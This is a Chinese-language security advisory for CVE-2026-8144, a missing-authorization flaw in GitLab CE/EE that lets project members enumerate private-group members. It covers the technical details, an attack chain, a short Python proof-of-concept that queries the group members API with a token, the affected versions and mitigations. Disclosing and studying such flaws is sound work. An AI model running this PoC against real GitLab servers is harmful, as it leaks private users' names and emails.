IPBUF安全漏洞报告
English
CVE-2026-8144 CVSS 4.3 中危

CVE-2026-8144 GitLab 私有组成员枚举漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-8144
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

信息泄露越权访问GitLabCVE-2026-8144

漏洞概述

GitLab CE/EE 存在一个安全漏洞,由于缺少授权检查,拥有项目成员身份的已认证用户可以枚举私有组的成员信息。该漏洞影响广泛,涵盖了从 15.1 版本开始到多个补丁版本之前的所有发行版。攻击者无需特殊用户交互即可利用此漏洞通过网络发起攻击,导致私有组织成员隐私泄露。

技术细节

该漏洞源于 GitLab 在处理特定 API 接口或页面请求时,未正确实施权限验证逻辑。具体来说,当一个经过身份验证的用户(仅需具备项目成员身份)尝试访问与私有组相关的成员列表端点时,系统未能验证该用户是否属于该私有组或是否具有管理员权限。由于缺乏这种授权检查,攻击者可以通过遍历组 ID 或发送特定的 HTTP 请求,绕过访问控制机制,获取本应仅对组成员可见的敏感信息(如用户名、邮箱等)。此漏洞属于典型的越权访问问题(IDOR),攻击复杂度低,无需用户交互即可在网络层面远程利用,主要威胁数据的机密性。

攻击链分析

STEP 1
1. 身份认证
攻击者注册或使用已有的 GitLab 账号,并获取目标项目的成员权限(PR:L)。
STEP 2
2. 探测与利用
攻击者构造特定的 HTTP 请求,向私有组的成员列表 API 端点发送请求,利用系统缺失的授权检查漏洞。
STEP 3
3. 信息获取
服务器返回私有组成员的详细信息(如 ID、用户名、邮箱等),攻击者成功实现信息枚举。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: GitLab Private Group Member Enumeration # Date: 2026-05-14 # Exploit Author: Researcher # Vendor Homepage: https://gitlab.com # Version: < 18.9.7, < 18.10.6, < 18.11.3 # Tested on: GitLab CE/EE def check_poc(url, token, group_id): """ Attempt to enumerate members of a private group using project membership. """ headers = { "Authorization": f"Bearer {token}" } # Endpoint usually used for listing members, vulnerable due to missing auth check target_url = f"{url}/api/v4/groups/{group_id}/members" response = requests.get(target_url, headers=headers) if response.status_code == 200: print(f"[+] Success! Group {group_id} members leaked:") print(response.json()) else: print(f"[-] Failed with status code: {response.status_code}") if __name__ == "__main__": TARGET_URL = "https://gitlab.example.com" PRIVATE_TOKEN = "glpat-xxxxxxxxxxxxxxxxxxxx" TARGET_GROUP_ID = "123" check_poc(TARGET_URL, PRIVATE_TOKEN, TARGET_GROUP_ID)

影响范围

GitLab CE/EE >= 15.1, < 18.9.7
GitLab CE/EE >= 18.10, < 18.10.6
GitLab CE/EE >= 18.11, < 18.11.3

防御指南

临时缓解措施
建议立即升级至官方发布的修复版本。若无法立即升级,应暂时限制非管理员用户对敏感 API 的访问,或在网络层面实施更严格的访问控制策略,并加强对私有组成员变更的审计。

参考链接